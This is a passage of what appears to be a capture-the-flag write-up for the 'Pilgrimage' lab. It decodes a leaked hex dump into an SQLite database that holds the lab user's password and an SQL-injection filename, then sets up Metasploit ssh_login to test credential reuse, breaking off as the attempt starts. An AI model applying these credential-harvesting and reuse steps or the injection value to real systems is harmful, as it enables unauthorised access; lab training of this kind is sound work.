000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000007c030717191901815374
61626c65696d61676573696d6167657304435245415445205441424c4520696d61676573
202875726c2054455854205052494d415259204b4559204e4f54204e554c4c2c206f7269
67696e616c2054455854204e4f54204e554c4c2c20757365726e616d652054455854204e
4f54204e554c4c292b0406173f190100696e64657873716c6974655f6175746f696e6465
785f696d616765735f31696d616765730566010717171701812b7461626c657573657273
757365727302435245415445205441424c452075736572732028757365726e616d652054
455854205052494d415259204b4559204e4f54204e554c4c2c2070617373776f72642054
455854204e4f54204e554c4c29290206173d170100696e64657873716c6974655f617574
6f696e6465785f75736572735f3175736572730300000008000000000d000000020fd900
0fe60fd90000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000b020315157465737474657374180103172d65
6d696c796162696763686f6e6b79626f693132330a000000020fee000ff70fee00000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000080315017465
73740208031709656d696c790d000000020f76000fb70f76000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000003f0204691f15687474703a2f2f70696c6772696d6167652e6874
622f736872756e6b2f363464633435373635633163382e706e67696d6167652e706e6774
6573744701046b1b27687474703a2f2f70696c6772696d6167652e6874622f736872756e
6b2f363464633363343130303464662e6a7065676361742e70687027206f7220313d3120
2d2d202d0a000000020f9a000fcd0f9a0000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
000032036901687474703a2f2f70696c6772696d6167652e6874622f736872756e6b2f36
3464633435373635633163382e706e670232036b09687474703a2f2f70696c6772696d61
67652e6874622f736872756e6b2f363464633363343130303464662e6a706567

  Date:create: 2023-08-16T03:55:50+00:00
  Date:modify: 2023-08-16T03:55:50+00:00
  Date:timestamp: 2023-08-16T03:55:50+00:00
  Signature: c7d03a3453434db9720fd67b559185125d9bdb1fe9c25c182783170e2ba6a8f6
  Tainted: False
  Elapsed Time: 0m:0.001232s
  Pixels Per Second: 7.7Mi

Once cleaned up with CyberChef > Recipie > “From Hex” – we are left with….

SQLite format 3@  gg.Kย‘รธยบeรยบ8|ยStableimagesimagesCREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL)+?indexsqlite_autoindex_images_1imagesfย+tableusersusersCREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL))=indexsqlite_autoindex_users_1usersร™รฆร™testtest-emilyabigchonkyboi123
รฎรทรฎtest	emilyvยทv?ihttp://pilgrimage.htb/shrunk/64dc45765c1c8.pngimage.pngtestGk'http://pilgrimage.htb/shrunk/64dc3c41004df.jpegcat.php' or 1=1 -- -
ยšรยš2ihttp://pilgrimage.htb/shrunk/64dc45765c1c8.png2k	http://pilgrimage.htb/shrunk/64dc3c41004df.jpeg

Well, we see the emily user that we know exists on the server. “emilyabigchonkyboi123” it’s a reasonable assumption to make that this might be the user’s password on the server as well. So let’s see if we have credential re-use. I launched metasploit…

msf6 auxiliary(scanner/ssh/ssh_login) > set username emily
username => emily
msf6 auxiliary(scanner/ssh/ssh_login) > set password abigchonkyboi123
password => abigchonkyboi123
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts pilgrimage.htb
rhosts => pilgrimage.htb
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 10.10.11.219:22 - Starting bruteforce
